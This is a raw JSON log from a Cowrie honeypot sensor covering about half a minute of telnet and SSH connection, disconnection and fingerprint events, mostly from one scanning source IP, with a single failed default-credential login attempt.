{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:48.696817Z","src_ip":"202.145.0.61","session":"bab7a870442f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.06029987335205,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:48.850739Z","src_ip":"23.111.140.22","session":"7d4079927c25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":45736,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d2d9e61e6e1","protocol":"telnet","message":"New connection: 174.138.46.234:45736 (159.203.135.109:23) [session: 8d2d9e61e6e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:49.037544Z"}
{"eventid":"cowrie.session.closed","duration":31.013046503067017,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:49.051071Z","src_ip":"23.111.140.22","session":"0d2c4e3fb60b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.610039234161377,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:49.316098Z","src_ip":"23.111.140.22","session":"b3011834876c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.109889268875122,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:49.448497Z","src_ip":"23.111.140.22","session":"6be07c56300e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"git2","password":"git2","message":"login attempt [git2/git2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:49.693495Z","src_ip":"202.145.0.61","session":"bab7a870442f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50844,"dst_ip":"10.17.0.5","dst_port":23,"session":"d540b31287f6","protocol":"telnet","message":"New connection: 23.111.140.22:50844 (10.17.0.5:23) [session: d540b31287f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:49.720321Z"}
{"eventid":"cowrie.session.closed","duration":30.648582220077515,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:50.030916Z","src_ip":"23.111.140.22","session":"966c6cea155f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.37397480010986,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:50.140071Z","src_ip":"23.111.140.22","session":"4caeca6d1136","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41606,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0cccb1db7f6","protocol":"telnet","message":"New connection: 23.111.140.22:41606 (10.17.0.5:23) [session: f0cccb1db7f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:50.403723Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:50.936657Z","src_ip":"202.145.0.61","session":"bab7a870442f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.97927498817444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:51.133458Z","src_ip":"23.111.140.22","session":"dba4d86db767","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.445831775665283,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:51.565750Z","src_ip":"23.111.140.22","session":"8fa5a535d29a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.888604402542114,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:51.722250Z","src_ip":"174.138.46.234","session":"8dfd755707e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56590,"dst_ip":"10.17.0.5","dst_port":23,"session":"438962dce885","protocol":"telnet","message":"New connection: 23.111.140.22:56590 (10.17.0.5:23) [session: 438962dce885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:51.727319Z"}
{"eventid":"cowrie.session.closed","duration":41.88794136047363,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:52.764458Z","src_ip":"23.111.140.22","session":"aeec695c6c22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.22794985771179,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:53.052429Z","src_ip":"23.111.140.22","session":"00e6f5fb2d83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.33592963218689,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:53.250065Z","src_ip":"23.111.140.22","session":"61c5334c303a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33100,"dst_ip":"10.17.0.5","dst_port":23,"session":"05202d8fd31c","protocol":"telnet","message":"New connection: 23.111.140.22:33100 (10.17.0.5:23) [session: 05202d8fd31c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:53.376421Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59482,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffdfd8f6fd4e","protocol":"telnet","message":"New connection: 23.111.140.22:59482 (10.17.0.5:23) [session: ffdfd8f6fd4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:53.772112Z"}
{"eventid":"cowrie.session.closed","duration":31.930704832077026,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:54.427623Z","src_ip":"23.111.140.22","session":"18db76d0ae99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.330691814422607,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:55.109029Z","src_ip":"23.111.140.22","session":"36e946ae4ff6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.613314151763916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:55.412668Z","src_ip":"23.111.140.22","session":"19aef55e4e9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41256,"dst_ip":"10.17.0.5","dst_port":23,"session":"094dbcb5123e","protocol":"telnet","message":"New connection: 23.111.140.22:41256 (10.17.0.5:23) [session: 094dbcb5123e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:56.262731Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41834,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce5a4fbaa98b","protocol":"telnet","message":"New connection: 23.111.140.22:41834 (10.17.0.5:23) [session: ce5a4fbaa98b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:56.518079Z"}
{"eventid":"cowrie.session.closed","duration":34.33852744102478,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:56.612930Z","src_ip":"23.111.140.22","session":"984c2270aa53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.922060251235962,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:56.741588Z","src_ip":"23.111.140.22","session":"458dfa862da0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57764,"dst_ip":"10.17.0.5","dst_port":23,"session":"a853f5578917","protocol":"telnet","message":"New connection: 23.111.140.22:57764 (10.17.0.5:23) [session: a853f5578917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:57.314081Z"}
{"eventid":"cowrie.session.closed","duration":31.524694204330444,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:57.694895Z","src_ip":"23.111.140.22","session":"c0c36c0b10ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45542,"dst_ip":"10.17.0.5","dst_port":23,"session":"9673cc96b1f2","protocol":"telnet","message":"New connection: 23.111.140.22:45542 (10.17.0.5:23) [session: 9673cc96b1f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:58.915354Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47540,"dst_ip":"10.17.0.5","dst_port":23,"session":"69d1f0baf1bb","protocol":"telnet","message":"New connection: 23.111.140.22:47540 (10.17.0.5:23) [session: 69d1f0baf1bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:59.669107Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42462,"dst_ip":"10.17.0.5","dst_port":23,"session":"73432e05bfac","protocol":"telnet","message":"New connection: 23.111.140.22:42462 (10.17.0.5:23) [session: 73432e05bfac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:24:59.750477Z"}
{"eventid":"cowrie.session.closed","duration":31.981626510620117,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:00.450038Z","src_ip":"23.111.140.22","session":"a8d364f151ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.76527261734009,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:00.646702Z","src_ip":"23.111.140.22","session":"81f25f19bca0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.29760432243347,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:00.940215Z","src_ip":"23.111.140.22","session":"7c1293a06590","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51212,"dst_ip":"10.17.0.5","dst_port":23,"session":"1dbff6bafc51","protocol":"telnet","message":"New connection: 23.111.140.22:51212 (10.17.0.5:23) [session: 1dbff6bafc51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:01.062393Z"}
{"eventid":"cowrie.session.closed","duration":31.312471866607666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:01.077987Z","src_ip":"23.111.140.22","session":"5cc31f4fbf06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52028,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d0dbce3afad","protocol":"telnet","message":"New connection: 23.111.140.22:52028 (10.17.0.5:23) [session: 1d0dbce3afad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:01.378754Z"}
{"eventid":"cowrie.session.closed","duration":31.26024055480957,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:01.822664Z","src_ip":"23.111.140.22","session":"805101a922c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.140785455703735,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:02.052291Z","src_ip":"23.111.140.22","session":"5b85613a83bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57114,"dst_ip":"10.17.0.5","dst_port":23,"session":"d33c752a90e8","protocol":"telnet","message":"New connection: 23.111.140.22:57114 (10.17.0.5:23) [session: d33c752a90e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:02.353049Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47842,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7ab0dd6ef6b","protocol":"telnet","message":"New connection: 23.111.140.22:47842 (10.17.0.5:23) [session: d7ab0dd6ef6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:02.816110Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60062,"dst_ip":"10.17.0.5","dst_port":23,"session":"a67723a72713","protocol":"telnet","message":"New connection: 23.111.140.22:60062 (10.17.0.5:23) [session: a67723a72713]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:03.438719Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58058,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a345ca01b84","protocol":"telnet","message":"New connection: 23.111.140.22:58058 (10.17.0.5:23) [session: 8a345ca01b84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:03.685087Z"}
{"eventid":"cowrie.session.closed","duration":30.542100429534912,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:04.164984Z","src_ip":"23.111.140.22","session":"8291b06235fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.21424150466919,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:04.414346Z","src_ip":"23.111.140.22","session":"98fedc2d1260","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.108362436294556,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:04.538651Z","src_ip":"23.111.140.22","session":"b55fff445c00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59540,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c81d16a47c4","protocol":"telnet","message":"New connection: 23.111.140.22:59540 (10.17.0.5:23) [session: 5c81d16a47c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:06.234198Z"}
{"eventid":"cowrie.session.closed","duration":32.32257914543152,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:06.294408Z","src_ip":"23.111.140.22","session":"13bea723ab66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37492,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad25e1ae601b","protocol":"telnet","message":"New connection: 23.111.140.22:37492 (10.17.0.5:23) [session: ad25e1ae601b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:06.500309Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38098,"dst_ip":"10.17.0.5","dst_port":23,"session":"3afb250dc9e6","protocol":"telnet","message":"New connection: 23.111.140.22:38098 (10.17.0.5:23) [session: 3afb250dc9e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:06.716189Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38128,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a71bda02cef","protocol":"telnet","message":"New connection: 23.111.140.22:38128 (10.17.0.5:23) [session: 1a71bda02cef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:06.728684Z"}
{"eventid":"cowrie.session.closed","duration":31.269093990325928,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:07.155220Z","src_ip":"23.111.140.22","session":"c0916bb76c36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.671640396118164,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:07.211719Z","src_ip":"23.111.140.22","session":"b8c9dc2732df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.452736616134644,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:07.445677Z","src_ip":"23.111.140.22","session":"955eb3d3ed42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.69949698448181,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:07.586919Z","src_ip":"23.111.140.22","session":"5cc9961b0a59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35206,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac6d16667493","protocol":"telnet","message":"New connection: 23.111.140.22:35206 (10.17.0.5:23) [session: ac6d16667493]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:07.714114Z"}
{"eventid":"cowrie.session.closed","duration":30.825382232666016,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:07.722636Z","src_ip":"23.111.140.22","session":"82689b2428b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.181862354278564,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:07.730843Z","src_ip":"23.111.140.22","session":"0a7c8d4bbeeb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":43676,"dst_ip":"10.17.0.5","dst_port":23,"session":"47adb3af9b08","protocol":"telnet","message":"New connection: 23.111.140.22:43676 (10.17.0.5:23) [session: 47adb3af9b08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:07.752989Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42344,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b387e632fed","protocol":"telnet","message":"New connection: 23.111.140.22:42344 (10.17.0.5:23) [session: 7b387e632fed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:08.279953Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37854,"dst_ip":"10.17.0.5","dst_port":23,"session":"6008e062bd94","protocol":"telnet","message":"New connection: 23.111.140.22:37854 (10.17.0.5:23) [session: 6008e062bd94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:08.630410Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46590,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee341b57038e","protocol":"telnet","message":"New connection: 23.111.140.22:46590 (10.17.0.5:23) [session: ee341b57038e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:08.855567Z"}
{"eventid":"cowrie.session.closed","duration":30.45628571510315,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:09.077266Z","src_ip":"23.111.140.22","session":"10da73858a63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47974,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecd6ce3db5b5","protocol":"telnet","message":"New connection: 23.111.140.22:47974 (10.17.0.5:23) [session: ecd6ce3db5b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:09.333197Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50146,"dst_ip":"10.17.0.5","dst_port":23,"session":"7423dc35fe68","protocol":"telnet","message":"New connection: 23.111.140.22:50146 (10.17.0.5:23) [session: 7423dc35fe68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:10.040108Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55174,"dst_ip":"10.17.0.5","dst_port":23,"session":"268b5ff64648","protocol":"telnet","message":"New connection: 23.111.140.22:55174 (10.17.0.5:23) [session: 268b5ff64648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:11.725092Z"}
{"eventid":"cowrie.session.closed","duration":32.422892570495605,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:12.013281Z","src_ip":"23.111.140.22","session":"a525e0aea234","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.62871599197388,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:12.770625Z","src_ip":"23.111.140.22","session":"3388b9aee618","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52354,"dst_ip":"10.17.0.5","dst_port":23,"session":"559b1d91dae7","protocol":"telnet","message":"New connection: 23.111.140.22:52354 (10.17.0.5:23) [session: 559b1d91dae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:12.802146Z"}
{"eventid":"cowrie.session.closed","duration":32.89786696434021,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:12.811671Z","src_ip":"23.111.140.22","session":"e810fc090b1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.271778106689453,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:13.132721Z","src_ip":"23.111.140.22","session":"bd6df0a3d1e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56652,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc8bcedc575d","protocol":"telnet","message":"New connection: 23.111.140.22:56652 (10.17.0.5:23) [session: dc8bcedc575d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:13.218529Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37254,"dst_ip":"10.17.0.5","dst_port":23,"session":"92747339ff62","protocol":"telnet","message":"New connection: 23.111.140.22:37254 (10.17.0.5:23) [session: 92747339ff62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:13.442050Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60478,"dst_ip":"10.17.0.5","dst_port":23,"session":"57704654da3e","protocol":"telnet","message":"New connection: 23.111.140.22:60478 (10.17.0.5:23) [session: 57704654da3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:13.527596Z"}
{"eventid":"cowrie.session.closed","duration":31.487969398498535,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:14.622897Z","src_ip":"23.111.140.22","session":"6747fc16ee92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.032469034194946,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:25:14.919978Z","src_ip":"23.111.140.22","session":"75a246227958","protocol":"telnet"}
